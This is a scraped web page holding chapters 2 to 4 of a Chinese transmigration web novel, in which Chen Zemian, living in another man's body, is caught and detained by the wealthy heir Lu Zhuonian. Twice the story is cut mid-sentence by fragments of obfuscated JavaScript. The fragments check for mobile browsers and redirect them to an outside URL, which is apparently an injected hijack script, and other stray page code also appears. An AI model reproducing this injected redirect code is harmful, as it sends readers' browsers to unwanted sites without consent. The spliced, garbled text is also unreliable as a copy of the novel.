《京圈少爷的公用狗腿》 2. 第 2 章 陆灼年转过身。 他个子很高,陈则眠为了听手机,本来就是踮起脚,又略微倾身才凑过来的。 陆灼年这么一动,陈则眠霎时失去平衡,头重脚轻,踉跄着栽进陆灼年怀里。 陈则眠虽然醉得在厉害,但身体的反应还在,在额头撞到陆灼年胸口前,快速抓住了一个稳当的东西稳住身形。 是陆灼年的手臂。 材质高档的布料下,陈则眠摸到了锻炼得很好的矫健线条,像是刻刀雕刻而成,肌肉坚实而饱满,经脉紧绷,仿佛一只蓄势待发的猎豹,蕴含着无穷力量。 陈则眠曾经也有这么漂亮的肌肉,可惜那具身体已经死掉了。 陈折身体清瘦单薄,想要练出这种完美的肌理线条,首先得增肌,然后泡在健身房高强度训练大半年,才能大概练出个轮廓来。 可即便那样也是花架子,不会这么充满力量感。 原书中,主角陆灼年势位至尊,走到哪儿都有保镖跟随,又自持身份,鲜少亲自与人动手,但他人物设定的爱好中是有搏击类体育项目的。 他喜欢各种极限运动。 这肌肉摸起来倒是很符合设定。 陈则眠羡慕地捏了捏紧致结实的肌肉,还没来得及怀念自己逝去的美好生命和强健体魄,忽然间猛然醒悟—— 他面前这个人,可能、大概、或许……真的是男主角陆灼年。 糟糕。 据说陆灼年有很严重的洁癖,反感一切生物的接近,对肢体接触更是深恶痛绝。 人怎么能惹出这么大的祸! 穿越的第一晚,陈则眠不仅没压住脾气,砸了许二少的小弟武旭,还莽莽撞撞,冲撞了自己唯一的靠山。 陈则眠缓缓抬起头,和面无表情的陆灼年沉默对视。 手机那头,萧可颂还在说话,可是已经没人在听了。 陆灼年收起手机。 陈则眠默默移开视线。 只要他不尴尬,尴尬的就是陆灼年。 陈则眠松开手,若无其事地后退半步,表面上云淡风轻,其实已经在偷瞄撤离路线了。 不料,就在他安全退开的下一秒,陆灼年突然伸手,猛地抓住陈则眠的手腕。 陆灼年手劲儿大得出奇,铁钳似的箍过来,掐得陈则眠不自觉哼唧了一声。 不是讨厌触碰吗?哥们儿,抓我干嘛? 放手啊,混蛋! 陈则眠鼻腔发酸,眼圈几乎是瞬间就红了。 说先需要声明的是,如果按照他自己原本的耐痛值,这个强度的疼痛是完全可以忍耐的,忍不住哼出声只怪陈折的身体太柔弱。 一点也不耐痛。 太不耐痛了。 陈则眠眼前染了层雾气,要哭不哭的,抬起眼睛怒视陆灼年。 “你怎么过来的?”陆灼年一把将陈则眠扯过来,垂下眼眸,语气冰冷地询问:“保镖呢?” 陈则眠支支吾吾。 倘若全力反抗,他相信自己是能凭借格斗技巧,应该是能够把陆灼年踹开跑路的。 但一个人不能……至少不该刚穿书就把两大势力全都得罪彻底。 总是要活命的吧。 虽然决心要报复那些羞辱陈折的少爷,但那也总需要谋划一个过程,而且原书中男主还是很有逼格的,并没有做过仗势欺人的事情。 所以怎么才能在不踹翻陆灼年的前提下成功逃走呢? 陆灼年见陈折眼神涣散,明显开始走神,便加了几分力气攥紧对方手腕,冷声道:“说话。” 陈则眠又想哼唧了。 真的好痛。 陈则眠强忍呜咽,咬紧内唇硬扛着剧痛开口,别的话还没说,先泄出一个字:“疼。” 陆灼年:“……” 陈则眠:“……” 陆灼年盯着陈则眠微微发红的鼻尖,在心里说了句好娇气,慢慢松开了攥着他的手。 纤细修长的手腕红了一大圈,看着可怜兮兮的。 陈则眠很久没有这么丢脸了,握住自己手腕,低着头左右看了看,像是在找什么东西。 人在慌乱的时候会装的很忙。 陆灼年问:“找什么呢?” 陈则眠敢怒不敢言,很有骨气地吐出两个字:“尊严。” 陆灼年抽出丝绸手帕,一边擦手,一边用很奇异的眼神看向陈则眠:“我以前怎么没发现你这么抽象。” “……” 陈则眠现在只想赶紧跑路,从陆灼年面前消失,一个人慢慢理清思路,从长计议。 陆灼年一言九鼎、杀伐决断,原文中,他对陈折的态度很一般,没太多关照,也从不曾为难,在他没有主动针对陈折的情况下,陈折就已经被其他少爷们折腾得很惨了。 若今日陈则眠应对不佳,引得陆灼年不满,在这位太子爷那里挂了号,陆大少都不需要亲自动手,只需随便说句什么,自有无数人替他来磋磨自己。 形势所迫,陈则眠不得不低头。 于是,他不情不愿地表达感谢,作为结束语:“今天多谢陆少,很晚了,我就不打扰您了。” “等等。” 陆灼年叫住陈则眠,将手帕扔进垃圾箱,没有如陈则眠所愿那样放他走,反而问道:“我派了两个保镖带你去医院,他们人呢?” 陈则眠闻言一愣。 呃,保镖。 刚才他穿过走廊找陆灼年之前,好像是有两个人把他往相反的方向带,陈则眠挣了一下,保镖就用了个擒拿的动作,反剪住他的双手,把他往外推。 这个过于专业标准的格斗动作,触发了陈则眠的肌肉记忆,他扭身挣脱擒拿,反手一人一下,侧掌砍在两个保镖颈总动脉上…… 陈则眠犹豫着措辞:“他们……睡着了。” 陆灼年:“?” 陈则眠讨好而无害地朝陆灼年笑了笑。 两分钟后,陆灼年看着倒在走廊里的两个保镖,不动声色地深吸了一口气。 陈则眠站在三步开外,看天看地看路牌,就是不看陆灼年。 陆灼年都气笑了。 保镖队长检查过那两人,低声汇报道:“陆少,这两个人颈侧动脉遭受过重击,造成大脑短暂缺血引发晕厥,袭击他们的人……” 队长看了眼陈则眠,眼中闪过一丝不解,继续说:“袭击他们的人出手利落,力道掌控得很精准,一击必中,又不造成过度伤害,是个高手。” 高手。 陆灼年反复咀嚼这两个字,脑海中回闪着他接电话时,陈折突然探出的、那令人猝不及防的脑袋。 他并没有听到任何脚步声,也没有察觉到陈折的存在。 陆灼年仔细复盘当时的情境—— 如果陈折不是神经病似的过来听电话,而是像袭击保镖那样,利落精准地砍向他的颈动脉,他的应对和反应会比身经百战的保镖更迅速吗? 他能躲过陈折的攻击吗? 陆家保镖都是经过严格挑选,大多是退役武警或是佣兵,能在短时间内快速打晕两名保镖的人不是没有,可这个人无论如何也不该是陈折。 陈折没有任何格斗经历,怎么会一夕之间成为保镖队长口中的高手呢? 不过武旭头顶伤痕倒也有了解释。 陈折今夜所表现出来的一切,都和以往大不相同,不只是身手,还有性格。 从前如白纸一般透明的陈折,突然间变成一团迷雾,让人看不清、摸不着。 这种变化足够危险,也足够新奇。 陆灼年眸色渐深,无声地打量着两米外的陈折。 陈则眠礼貌而不失尴尬地微微一笑。 陆灼年看着陈则眠,低声吩咐保镖队长:“去调监控。” 陈则眠一听陆灼年要调监控,不由有些心慌。 格斗技巧这玩意就像武术招式,行家一看就能瞧出是什么路数、师承何处,陆灼年要去调他出手的监控视频,简直和当场掀开陈则眠的底细没区别了—— 陈折不该有这么好的身手。 陆灼年已经在怀疑他了。 陈则眠垂死挣扎道:“陆少,您这样派人大张旗鼓地调饭店监控是不是不太好,绿水亭苑作为顶级私厨,讲究的就是个私密性,要是把监控随便给外人看,多影响口碑。” 陆灼年语气淡淡:“绿水亭苑是陆家产业。” 因为是陆家的地盘,所以刚才他接电话没有让保镖跟随。 谁能想到,就是这么两三分钟的空隙、相隔不到二百米的距离,竟然出了这么大差池。 陈则眠没想到绿水亭苑是陆家产业,眼中划过一丝惊讶。 陆灼年看出他情绪变化,继续注视对方,用平静的语调审问:“你有没有什么要说的?” 这句话的言外之意很明显—— 在监控调来之前,我给你一个解释的机会。 可惜陈则眠会错了意。 毕竟他们前一句还在聊绿水亭苑所有权的问题。 陈则眠发自内心地感叹:“我真是没想到。” 陆灼年眉心不动声色地蹙起,用眼神示意陈则眠接着说。 陈则眠于是狗腿又敷衍地夸赞道:“陆少你好厉害,这么有品位的地方竟然是您的私产,很少有人知道呢……许劭阳居然把我约在这里摆鸿门宴,注定要铩羽而归了。” 陆灼年直截了当:“他摆在哪里不是铩羽而归?你连我的保镖都敢放倒,还怕他一个许劭阳?” 这个‘敢’字就很微妙。 陈则眠嘟嘟哝哝地辩解说:“我不知道那是你的人,陆少。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869268|159526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不知道是我的人?” 陆灼年沉吟半晌,声音中多了几分玩味:“你当时还叫了我的名字,这么快就忘了吗?” 陈则眠本来还在想,该怎么把自己没认出陆灼年的事搪塞过去。 陆灼年一句‘忘了’给他打开了新思路。 只要他咬定自己失忆,无论接下来谁再盘问他什么,都能用一句‘我不记得了’一推二六五。 虽然听起来很离谱且有点厚颜无耻,但确实是个挺不错的应对策略。 主要是他一时也想不出什么靠谱的理由,用来说服‘心思深沉、警惕多疑’的陆灼年。 陈则眠揉了揉太阳穴,破罐子破摔般顺势回答:“对,忘了,我可能喝酒喝得多,失忆了,真没认出您来。” 陆灼年像是没料到陈则眠会这么不要脸,沉默几秒才说:“陈折,你知道上一个在我面前胡说八道的人,是什么下场吗?” 陈则眠也觉得喝酒喝失忆有点过于荒谬。 他轻咳一声,大脑飞速运转。 有了。 陈则眠灵机一动,把锅推到武旭身上:“刚才在许二少那边,武旭突然动手,打到我头了。” 人无语的时候真的会笑。 陆灼年剑眉微蹙:“武旭打到你的头,结果他脑袋流血,乾坤大挪移吗?” 陈则眠:“……” 一个谎话要用无数个谎言去圆的道理所有人都知道,但满嘴跑火车的毛病实在是很难治好。 陈则眠咬着牙瞎编:“我也还手了,他流血是外伤,我失忆是内伤。” “原来是内伤,”陆灼年点点头:“很好。” 很好? 陈则眠也不知道他内伤这件事好在哪儿了,他也不想知道,他只知道如果陆灼年在继续审问下去,自己一定会讲出更多扯淡的话。 好在陆灼年暂时没有再问,而是拿出手机,拇指动了动,像是在回复消息。 陈则眠等了一会儿,小心翼翼地开口:“陆少,我能走了吗?” 陆灼年语气从容而坚定:“不行。” 陈则眠眼前一黑:“您还有什么吩咐?” 陆灼年翻转手机,像是FBI出示警官证一样,几乎把屏幕怼在陈则眠脸上:“你再解释一下,为什么脑袋受伤,身手也会变得厉害?” 手机上播放着一段视频,正是走廊里的监控画面。 视频里,被反剪双手的陈折微微躬身,胳膊扭成一个不可思议的角度,右手反握住保镖手腕,借力原地侧空翻挣开束缚,落地同时劈手砍在保镖颈侧,甚至没有再看一眼,又立即转身劈向第二个保镖。 两个保镖在一秒内先后到底。 视频开了0.5倍速,即便慢速播放,画面中陈折侧翻的动作还是快到模糊,让人看不清是怎么翻过去的。 短短一段视频只有七秒,慢倍速播放也只有十四秒,很快就播放完一遍,又重复播放第二遍。 陆灼年暗灭手机屏:“还有什么要说的吗?” 陈则眠抬眸看向陆灼年,眼神真挚:“视频能发我一份吗?我没想到会这么帅。” 陆灼年握着手机的手指不自觉一紧,良好的教养让他抑制住了把手机摔在陈折脸上的冲动。 察言观行、审度人心是豪门圈安全社交的必修课,陆灼年开始并不擅长这些,小时候因为识人不清吃了亏,后来便有意学习。 陆灼年成绩向来优异,无论多难的事情只要用心去学,都能取得让人满意的结果。 他不动声色地观察遇见的所有人,持之以恒地添加样本、总结规律,现在只要一个人出现,通过眼神和动作,就能大致轻易推测出对方所思所想。 可这份洞察能力和推理能力,今天却在陈折面前一再受挫。 陈折仿佛不在正常逻辑关系之中,他跳脱出了陆灼年以往二十年的人生经验。 他身上有一种很矛盾的变化,陆灼年看不清也弄不懂。 理智告诉陆灼年要排除不稳定因素,可人类探索未知的本能又让他情不自禁想亲手揭开谜底。 陆灼年的情绪许久未有这般起伏,他看着陈折,脸上表情没有太多变化,声音冷得几乎结冰:“为什么脑袋受伤,身手也会变得厉害?” 陈则眠张了张嘴,下意识想回答‘可能是打通任督二脉了’。 就在胡说八道的前一秒,死去已久的求生欲忽然上线,第六感疯狂鸣叫,警示他不要再触怒陆灼年了。 陈则眠自以为隐蔽地窥探陆灼年的神色。 陆灼年淡然自若,察觉到陈则眠的目光,平静回视。 陈则眠喉结滑动,紧张地咽了下口水。 不愧是男频主角,果然城府深沉,难以揣测。 这个陆灼年看起来十分危险,实际上一点也不安全。 3. 第 3 章 陈则眠舔舔干涩的嘴唇,又把嘴闭上了。 陆灼年挑眉:“怎么不说了?” 陈则眠警惕询问:“陆少,您是不是觉得我失忆这件事……很荒唐啊。” 陆灼年没有说话。 陈则眠后颈微微发凉,寒毛倒竖:“那我回家好好想想,没准过几天就好了。” 陆灼年依旧沉默,只眸色深沉地看着他。 陈则眠恍若一只被蟒蛇盯上兔子,匆匆扔下一句:“陆少晚安,陆少再见。” 话音未落,陈则眠已经快步绕过陆灼年,迅速开溜。 四名保镖从陆灼年身后走出,一字排开,将走廊挡得严严实实,拦住了陈则眠的去路。 陈则眠眼神倏然一变,面容紧绷如雕塑般冷漠:“你们拦不住我。” 脚步声响起,又有四名保镖绕至陈则眠身前。 八位彪形大汉堵在楼道里,即便不动手,仅凭气势就足够压人。 陈则眠脸色未变,只是活动了下后颈骨:“那来吧。” 保镖队长询问式地看向陆灼年。 陆灼年接过保镖递给他的皮质手套,慢条斯理地戴在手上,黑色皮革包裹起修长的手指,柔软细腻的优质羊皮在灯光下显出一种温润奢华的光。 陈则眠后退半步,如临大敌。 原文中,陆灼年戴手套这个动作很有标志性。 因为洁癖异常严重,陆灼年每次亲自动手前都会戴上手套。 黑色羊皮手套本身代表着禁欲与克制,而这一动作背后又隐藏着即将发生的暴力暗示。 这极大的反差拉足了读者期待,几乎是一个名场面般的描写—— 冷静克制的男主即便震怒,仍然不动声色,缓缓戴上手套,又下手干脆狠厉,拳拳到肉,揍得人满脸鲜血,再从容起身,用看狗的眼神看着对方,摘下染血的黑皮手套往地下一扔,转身离去,张力直接拉满,爽得读者嗷嗷直叫。 不过陆灼年身份贵重,凡事根本无需亲力亲为,小说中‘戴手套’的名场面因为少而更显经典,仅有的几次都是因为对方实在过分,触犯了他的原则与底线,陆灼年才会亲自动手教训。 可现在,陆灼年居然戴手套了?! 我干啥了? 陈则眠一脸懵逼。 我也没说啥啊。 陆灼年咋就戴手套了啊,我那句话触犯了他的原则与底线啊! 撤回、撤回、撤回。 陈则眠瞳孔微微放大,僵在原地,在心中狂按Ctrl + Z。 陆灼年很满意陈则眠的反应。 他不紧不慢地挽起袖口,将衬衫袖子折到手肘处,淡淡道:“那我能拦下你吗?” 陈则眠瞳孔一缩,转头就跑。 陆灼年眼疾手快,一把抓住陈则眠后脖领。 陈则眠顾不得许多,双手掀起上衣下摆,准备脱下衣服,来一招金蝉脱壳。 他掀起衣摆,露出一截窄瘦的腰,皮肤白得发光。 陆灼年往后拽了陈则眠衣领一把,伸手直接扣住他脖颈。 陈则眠心想这是什么招式,一侧头避开了,又被陆灼年抓住手腕,他顺着力道往下掰,反压对方虎口。 陆灼年皱了下眉,低声叫了一声:“陈折。” 陈则眠点到为止,收了力道,抬起脸时还没压住眼底飞扬的意气:“你也拦不住我。” “我不一定拦得住你,但我猜你不敢对我出手。”陆灼年猛地将陈则眠拽过来:“所以你只能跟我走,没有别的选择。” 陈则眠身手很好,保镖拿他没办法。 陆灼年亲自出手,不是因为他更能打,是因为陆灼年笃定陈则眠不敢揍他。 听明白陆灼年的言外之意,陈则眠眼中划过一丝难以置信,完全没想到陆灼年竟然玩得这个逻辑。 有点不要脸。 “你真的是陆灼年吗?” 被压上汽车时,陈则眠心中只有一个疑问。 原文中的陆灼年自持身份,高高在上,怎么会使出拿自己威胁人这么离谱的手段。 陆灼年端坐在商务车后座上,气定神闲:“要给你看身份证吗?” “算了,”陈则眠认命地靠回座椅上:“你要带我去哪里?” 陆灼年:“你不是内伤失忆了吗,带你去医院检查检查。” 陈则眠燃起一丝希望:“如果查不出什么问题,我是不是就可以走了。” 陆灼年斜觑陈则眠:“你都失忆了,怎么会没有问题?” 陈则眠知道陆灼年这是开始怀疑自己了,当即心凉半截:“如果查不出问题呢?” 陆灼年语气稀松平常:“那就查到查出来为止,在查出问题前,你就安心在医院住下吧,我会派人保护你。” 陈则眠心彻底凉了。 说什么保护,根本就是监视。 陈则眠低声抗议:“你这是限制人身自由,非法拘禁。” 陆灼年略微一颔首:“嗯,你报警吧。” “……” 陈则眠无话可说。 这人真的是陆灼年吗? 小说里挺沉稳持重的一个人,怎么现实中这么促狭呢? 性格和原文中有些出入,长相倒是如出一辙。 陆灼年眉目舒朗,鼻梁挺直,橘色光影打在那张年轻英俊的脸上,更显骨相优越,五官轮廓分明立体,面容冷峻而深邃,眉宇间暗藏傲睨自若的矜贵气质,和一种与年龄不符的权威感。 好像比书里瞧着更年轻一些。 车内温暖干净,气味清新,没有皮革与汽油的味道,也没有乱七八糟的香熏味。 陈则眠酒后是很容易晕车的,这次却没有。 司机车技很好,车辆平稳前行,引擎有节奏的轻微颤动,晃出了陈则眠的困意。 陈则眠撑手看着陆灼年,看着看着就闭上了眼,醉意上头,没一会儿就睡着了。 陆灼年侧头看向呼吸渐沉的陈则眠,愈发觉得这个人有趣。 商务车开进建设豪华的私立医院,陆家的产业,特殊车牌在停车场扫描进场后的半分钟内,全院都得到了陆家少爷来院就诊的消息。 车辆在急诊门口停下,刹车时不轻不重地晃了一下,正好把睡着的陈则眠晃醒。 陈则眠一睁眼,就看到十几个穿着白大褂的值班主任、护士站在门口迎接,不知道的还以为车上载了什么徘徊在阎王殿前的重症病人。 司机下车拉开车门,几个护士迅速上前,连捧带拖地把陈则眠往救护平车上抬。 陈则眠连说了好几遍‘我能走,我能走’,才把两条胳膊从护士姐姐们的强势控制中解救出来。 也来不及说别的,就被一群医生拥簇着推进了大厅,稀里糊涂做了十几项检查,又是抽血又照CT拍核磁的,就差做腰部穿刺抽脑脊液查脑膜了。 “智力减退是脑膜受损的主要表现,给他做个腰穿。” 陈则眠正躺在留观室发呆,忽然听到门外传来陆灼年的恶魔低语。 少东家发话,医生自然不敢违逆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从出生起,陆灼年想要什么都能很轻易地得到。 因为易得,所以索然,所以无味。 顺风顺水的人生富贵尊荣,如同一首堂皇高雅的宫廷交响曲,恢宏灿烂、光芒万丈,却也安常守故、无浪无波。 日复一日,生活总是平顺而单调,陆灼年甚至无需思考,就能一眼望到未来。 循环往复的古调旧曲,却在今夜突然跳出个奇怪的音符,鸣奏出一段不寻常的乐章。 陆灼年应该拨乱反正,修正他,远离他。 可眼前这个陈折太鲜活了。 他生机勃勃,充满力量,生动到像是陆灼年二十年来见到的第一个活人。 只是恐吓他要安排腰穿检查,吓得人花容失色,在留观室大声喊陆灼年的名字,还可怜兮兮地抓着自己求饶求救。 那一刻,陆灼年得到的愉悦感胜过蹦极和跳伞。 他原本以为自己是一个道德感很强的人,有远超社会平均值的原则和底线,不该以欺负旁人取乐,而且如果获得快乐的方式如此简单粗暴,那么他应该在初中的时候就成为一个恶霸。 所以为什么戏弄陈折会让他愉悦? 为什么不是别人,偏偏就是陈折呢? 陆灼年思索片刻,认为这大概不是自己的问题。 一定是陈折的原因。 4. 第 4 章 为了哄走陆灼年,陈则眠委曲求全,哄了陆大少好半天。 他指天发誓绝对不离开医院,甚至填写了一张气管镜检查申请做保证书,答应陆灼年如果自己逃走,被找回来以后做十次气管镜为惩罚,这才勉强把这位太子爷哄满意了,带着手下保镖司机浩浩荡荡地离开了留观室。 有少东家的特权在,陈则眠的检查报告出得很快,除了体内酒精浓度过高,没什么其他紧急的病症。 淋巴处有个结节,2级,一般为良性。 陈则眠原先的身体没这毛病,估摸着是陈折心情不舒畅,憋屈憋出来的。 他也没当回事,但特意把这张报告单放在最上面,希望陆灼年看到后能良心发现,别再寻他晦气了。 私立医院环境很好,留观室也是单人单间,很安静,也没有医生护士来打扰,就是开着灯有点晃眼。 陈则眠心里想的事情很多,门口还有守着他的保镖。 在这样陌生又不适的环境里,恐怕很难入睡。 他侧躺在病床上,枕着手臂,看着检测仪上起起伏伏的心电图,不一会儿就又睡着了。 梦中,陈则眠隐约看到一些原主陈折的记忆,零碎、散乱,断断续续连不成完整片段。 早晨醒来时,他瞥见窗外的霞光,但还想再梦一会儿,就用被子蒙上头继续睡。 半梦半醒间,听到一声撕心裂肺的呼喊—— “陈折!” 陈则眠还没睁开眼,突然感觉一个东西扑到了自己身上,压得他差点没吐血。 一只手颤抖着,掀开了陈则眠头顶的被子。 陈则眠皱着眉睁开眼,和差点压死他的人面面相觑。 眼前的脸与梦中记忆迅速匹配。 陈则眠叫出对方名字:“萧可颂?” 萧可颂双目赤红,先是伸手摸陈则眠的脸试温度,又用手指探他呼吸。 有呼吸,活的! 萧可颂惊喜地抱住陈则眠:“太好了,陈折,你没死!” 陈则眠推开萧可颂,撑手坐起身:“你再用胳膊肘驻我肚子,我就要死了。” 萧可颂连忙收起胳膊,又到处摸了摸陈则眠,确认他确实完好无损,才埋怨捶了下他肩膀:“你吓死我了,我听灼年说你在医院急诊,一进来看见白布盖脸,还以为你死了呢。” 陈则眠脑袋嗡嗡响:“我在睡觉啊萧少,晨光晃眼。” 萧可颂说:“哪里还有晨光,都十点多了,快起来,我带你去吃饭。” 陈则眠婉拒道:“我想回家睡觉。” 萧可颂也不勉强:“好吧,我送你回家,然后回学校上课,昨晚你受惊了,许劭阳我来解决,他们以后不敢再找你麻烦,听说有个叫武旭的还跟你动手了?他那只手碰的你,我派人给他手打断。” 陈则眠听着萧可颂絮絮叨叨,有些迟疑:“萧少,你……” 萧可颂问:“怎么了?” 陈则眠摇摇头:“没什么,你对我还挺好的。” 萧可颂又捶了陈则眠一拳:“说什么呢,我什么时候对你不好过。” 陈则眠笑了笑,没说话。 在原书中,陈折正式出场的第二章,萧可颂就对他不好了。 书里写,萧可颂对陈折的好意都是假的,只是为了把陈折骗进少爷圈子里取乐。 可陈则眠耳边,现在还隐隐回荡着萧可颂方才那撕心裂肺的一声‘陈折’,还有他以为陈折死了时,掀开被子时那双赤红含泪的眼睛。 那会是假的吗? 萧可颂又不是学的表演专业,哪里会有那么好的演技,更何况他一个大少爷,对着陈则演就很牵强了,哪里还用得着对着‘尸体’演。 原书作者大概是被读者喷得现改了设定,后面改动过的地方,很有可能并不写实。 陈则眠记不清自己家在哪里,好在萧可颂知道,将他送了回去。 在老城区边缘,是一处房龄不断的返迁房。 街边物品摆放得很杂乱,汽车和电动车停得横七竖八,萧可颂的车子开不进去。 陈则眠在路边下了车。 路上,陈则眠通过和萧可颂闲聊,得知对方不知道他‘失忆’,也没去过他家,遂放弃了向其询问具体住址的打算。 萧可颂放下陈则眠,本来都开车走了,又倒回来,降下车窗叫他:“陈折。” 陈则眠走到窗边:“怎么了?” 萧可颂探身副驾的储物箱,拿出两捆百元钞票:“灼年说你手机丢了,你赶紧去买个新的,不然我都联系不到你。” 陈则眠看着那两捆钞票,没接。 萧可颂把钱拍进陈则眠怀里:“给你就拿着,跟我客气什么?要不是知道你手机丢了,谁现在还用现金啊。” 陈则眠说:“行,那我先拿着,以后还你。” 萧可颂露出一言难尽的表情:“哎哟这点钱还还?你别寒碜我了行吗?” 陈则眠:“……” 萧可颂扬了扬下巴:“晚上给我打电话啊,我下课接你出去玩。” 陈则眠并不是很想和这些少爷们扯上关系,可他既然拿了萧可颂的钱,将来总是要找机会还的,就说:“行,你给我留个电话。” “你怎么连我手机号都记不住啊。”萧可颂抱怨着翻出一支笔,又从陈则眠手上抽出一张钞票,准备把电话写上去。 陈则眠伸出手心:“在钱币上写字违法,写我手上吧。” 萧可颂在陈则眠手上写下一串数字:“我上次在人手心写字还是在酒吧约美女。” 陈则眠脑海中闪过零星记忆,迟疑着说:“那不就是……上周的事吗?” 萧可颂哈哈一笑,说:“是啊,好久没去了呢。” 陈则眠看了眼手机号,默念两遍记住,随口回道:“你的好久还真是不久。” 萧可颂摆摆手:“改天一起去,先走了,拜拜。” 陈则眠目送萧可颂离开。 通过昨晚梦到的记忆碎片,陈则眠得知当前时间线还很早。 原书小说剧情的展开,从陆灼年大学毕业开始的,现在陆灼年还在上大二。 这三年的空白在后文着墨不多,所以陈则眠也不知道陈折该做些什么。 大概是在上班? 老城区杂乱,但基础设施完善,店铺也多,陈则眠没走出两条街就看到了一家手机店。 他一迈进去就觉得这个地方很熟悉。 老板靠在躺椅上玩电脑,看到陈则眠进来招呼了一声:“来了。” 很熟捻的样子。 店里的小花狗也跑过来,围着陈则眠转来转去地摇尾巴。 相关记忆在脑海中复苏。 陈则眠弯腰摸了摸小花狗:“壮壮。” 老板‘唉’了一声:“你真没良心啊陈折,我招呼你你不搭理,先搭理狗。” 陈则眠笑了笑,走向柜台:“伟哥,我来买个手机。” 钱嘉伟坐直身子,看到了陈则眠手里的钱:“嚯,发了你,拿着两捆钱满大街走,也不怕挨抢,这片多乱啊,别让人盯上。” 陈则眠说:“没戴兜子嘛。” 钱嘉伟从柜台下面翻出个OPPO手机袋:“给你赶紧装上。” 陈则眠听话地把钱装进纸袋:“装了等会儿也得掏出来给你,我真买手机。” 钱嘉伟说:“我这儿可没有两万的手机,你拿个苹果吧,给我个进货价八千一就行。” 陈则眠根正苗红,穿书了也不忘支持国货:“华为吧。” 钱嘉伟就拿了几部手机出来给陈则眠挑:“你旧手机呢?我给你导数据。” “我手机掉水池里丢了,还得去办个卡。”陈则眠随便拿了一个新手机,递钱给钱嘉伟:“这个多少钱?” 钱嘉伟没和陈则眠客气,自己数了钱收下,玩笑道:“掉哪儿了,我去捞,回来修修还能卖,八成新。” 陈则眠看了眼时间正好是饭点:“吃饭了吗伟哥,我请你吧。” 钱嘉伟晃晃刚收的现金:“那能行吗,我请你吃,你都给我开张了。” 陈则眠说:“别,你本来没挣我钱。” 钱嘉伟给狗到了狗粮,锁上店门:“那不可能,挣了三百呢。” 陈则眠还没有完全融合原主记忆,对这一片半生不熟的,这种感觉很奇妙,他不记得店铺的具体位置,也不知道下一条街该往哪个方向拐,可真到了那儿,他又能根据这些店面唤醒一些记忆点,比如这家熟食价格实惠,那家烤鸭味道很好,那边的银行中午不营业。 他应该多在这附近绕绕,或许对获得记忆有帮助。 既然已经到了这个书中世界,他就要好好在这里生活下去。 是为了自己,也是为了陈折。 陈则眠的适应能力很强,父亲年轻时因为工作经常调动,他们生活的城市换过几个,习惯改变以后就会发现,其实不同的生活环境总会有共通之处,找到让自己舒服的位置也没那么难。 和钱嘉伟、萧可颂相处的感觉很轻松,这应该是受到了原身记忆的影响,他潜意识里就觉得这两个人可以信任。 钱嘉伟带着陈则眠先去营业厅补办了手机卡,插上卡有了网以后,他一边往吃饭的地方走,一边帮陈则眠恢复手机数据、下载常用软件、登录认证。 陈则眠只需要负责刷脸通过人脸识别,钱嘉伟连他很多软件密码都知道,因为陈折上一个手机也是在钱嘉伟这里买的、上上个也是。 “你之前都是用苹果的,怎么忽然换上华为了,”钱嘉伟把手机递给陈则眠,让他重新录入指纹:“同品牌导数据能一键复制,这个麻烦点,好多密码都要重新设,我还给你设之前那个了。” 陈则眠问:“之前哪个?” 钱嘉伟看了陈则眠一眼:“大C小z987654321+@。” 陈则眠皱眉:“这么复杂。” 钱嘉伟不可思议道:“哪儿复杂了,就是你名字首字母大小写数字加@啊。” 陈则眠又努力记了一下,把密码写进备忘录。 钱嘉伟说:“你喝酒喝得都老年痴呆了吧,我怎么看你今天干什么都反应慢半拍。” 陈则眠笑了笑,没说话。 二人找了家饭店,吃得石锅鱼,店面不大,胜在食材新鲜,活鱼现宰现杀,片成一指厚的鱼片,裹了鸡蛋面粉先炸后焖,金灿灿的炸鱼片盛在石锅里,配菜有土豆、藕片、芹菜、青笋、彩椒、香菇,非常好吃,物美价廉,居然只要98元。 陈则眠没想到随便找的饭店这么好吃,一不小心吃多了,撑得有些胃疼,遂放弃了在附近绕绕的想法,以希望家里网速慢想换个路由器为由,套路了钱嘉伟送他回家。 到了家门口,陈则眠看了一圈,下意识摸摸地垫,果然放着家门钥匙。 钱嘉伟很快换好路由器,回去看店了,临走还给陈则眠扔了两盒烟,说是便宜新收的,给他抽着玩。 钱嘉伟的手机店除了卖电子产品,也回收名烟名酒,陈折陪少爷们吃饭喝酒,经常能得一些好烟好酒,就放到钱嘉伟那里代售换钱。 陈则眠送钱嘉伟出门,回来以后站在门口,打量着陈折的家。 陈折是私生子,母亲去世后家里就只剩他一个人,他看起来不大会收拾屋子,房间里有点乱,玄关柜上乱七八糟摆了很多东西,剪刀、耳机、快递盒、矿泉水瓶还有几板药。 陈则眠拿起来看了看,有消炎的、止痛的,还有戒酒药和治胃炎的。 原来不是吃撑了胃痛。 陈折的胃本来就不太好,看这匆匆忙忙的遗迹,想是他昨天出门前知道自己免不了喝酒,就提前吃了止痛药。 也挺不容易的。 陈则眠随手把药扫进抽屉里,也没进卧室,只把沙发上堆着的衣服推了推,刨出个能躺人的地方,微微蜷身捂着肚子,思考接下来自己该干点什么。 他穿越前在游戏公司做主策,做游戏确实挺挣钱的,但也烧钱,之前大厂工作背靠资本,资金无忧,也推出过好几个爆款游戏,年底奖金最高的时候拿过七位数。 不知道这个世界都流行些什么。 小说里时间线开始时,陆灼年都大学毕业了,他们陆家有钱得很,投资也都是投新能源、人工智能、房产地产之类的东西,动不动就拿这块地那块地的,还真没有什么有关游戏的描写。 一会儿上手机应用市场看看吧。 游戏领域也有鄙视链,做网游的看不起做手游的,但做手游是真挣钱啊。 陈则眠脑子里有好几款可做的游戏,就是缺启动资金。 